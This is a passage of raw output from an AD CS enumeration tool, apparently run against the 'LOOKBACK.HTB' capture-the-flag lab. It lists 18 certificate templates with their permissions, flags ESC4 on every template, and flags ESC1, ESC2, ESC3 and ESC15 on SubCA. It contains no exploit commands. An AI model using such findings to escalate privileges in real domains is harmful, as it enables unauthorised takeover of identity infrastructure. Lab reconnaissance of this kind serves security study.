    [+] User ACL Principals             : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Administrators
                                          LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC7                              : User has dangerous permissions.
Certificate Templates
  0
    Template Name                       : IT-login
    Display Name                        : IT-login
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireCommonName
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          KDC Authentication
                                          Smart Card Logon
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T14:00:38+00:00
    Template Last Modified              : 2025-10-19T14:00:39+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\IT
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Administrator
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Administrator
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  1
    Template Name                       : login
    Display Name                        : login
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireCommonName
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Smart Card Logon
                                          KDC Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:58:21+00:00
    Template Last Modified              : 2025-10-19T13:59:46+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\IT
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Administrator
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Administrator
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  2
    Template Name                       : KerberosAuthentication
    Display Name                        : Kerberos Authentication
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDomainDns
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
                                          Smart Card Logon
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Enterprise Read-only Domain Controllers
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
        Write Property AutoEnroll       : LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Domain Controllers
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  3
    Template Name                       : OCSPResponseSigning
    Display Name                        : OCSP Response Signing
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AddOcspNocheck
                                          Norevocationinfoinissuedcerts
    Extended Key Usage                  : OCSP Signing
    Requires Manager Approval           : False
    Requires Key Archival               : False
    RA Application Policies             : msPKI-Asymmetric-Algorithm`PZPWSTR`RSA`msPKI-Hash-Algorithm`PZPWSTR`SHA1`msPKI-Key-Security-Descriptor`PZPWSTR`D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;GR;;;S-1-5-80-3804348527-3718992918-2141599610-3686422417-2726379419)`msPKI-Key-Usage`DWORD`2`
    Authorized Signatures Required      : 0
    Schema Version                      : 3
    Validity Period                     : 2 weeks
    Renewal Period                      : 2 days
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  4
    Template Name                       : RASAndIASServer
    Display Name                        : RAS and IAS Server
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireCommonName
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\RAS and IAS Servers
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\RAS and IAS Servers
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  5
    Template Name                       : Workstation
    Display Name                        : Workstation Authentication
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  6
    Template Name                       : DirectoryEmailReplication
    Display Name                        : Directory Email Replication
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDirectoryGuid
                                          SubjectAltRequireDns
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Directory Service Email Replication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Enterprise Read-only Domain Controllers
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
        Write Property AutoEnroll       : LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Domain Controllers
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  7
    Template Name                       : DomainControllerAuthentication
    Display Name                        : Domain Controller Authentication
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
                                          Smart Card Logon
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Enterprise Read-only Domain Controllers
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
        Write Property AutoEnroll       : LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Domain Controllers
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  8
    Template Name                       : KeyRecoveryAgent
    Display Name                        : Key Recovery Agent
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PendAllRequests
                                          PublishToKraContainer
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Key Recovery Agent
    Requires Manager Approval           : True
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  9
    Template Name                       : CAExchange
    Display Name                        : CA Exchange
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
    Extended Key Usage                  : Private Key Archival
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 week
    Renewal Period                      : 1 day
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  10
    Template Name                       : CrossCA
    Display Name                        : Cross Certification Authority
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
    Private Key Flag                    : ExportableKey
    Requires Manager Approval           : False
    Requires Key Archival               : False
    RA Application Policies             : Qualified Subordination
    Authorized Signatures Required      : 1
    Schema Version                      : 2
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  11
    Template Name                       : ExchangeUserSignature
    Display Name                        : Exchange Signature Only
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Secure Email
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  12
    Template Name                       : ExchangeUser
    Display Name                        : Exchange User
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Secure Email
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  13
    Template Name                       : CEPEncryption
    Display Name                        : CEP Encryption
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  14
    Template Name                       : OfflineRouter
    Display Name                        : Router (Offline request)
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  15
    Template Name                       : IPSECIntermediateOffline
    Display Name                        : IPSec (Offline request)
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : IP security IKE intermediate
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  16
    Template Name                       : IPSECIntermediateOnline
    Display Name                        : IPSec
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : IP security IKE intermediate
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  17
    Template Name                       : SubCA
    Display Name                        : Subordinate Certification Authority
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Private Key Flag                    : ExportableKey
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC2                              : Template can be used for any purpose.
      ESC3                              : Template has Certificate Request Agent EKU set.
      ESC15                             : Enrollee supplies subject and schema version is 1.
      ESC4                              : Template is owned by user.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
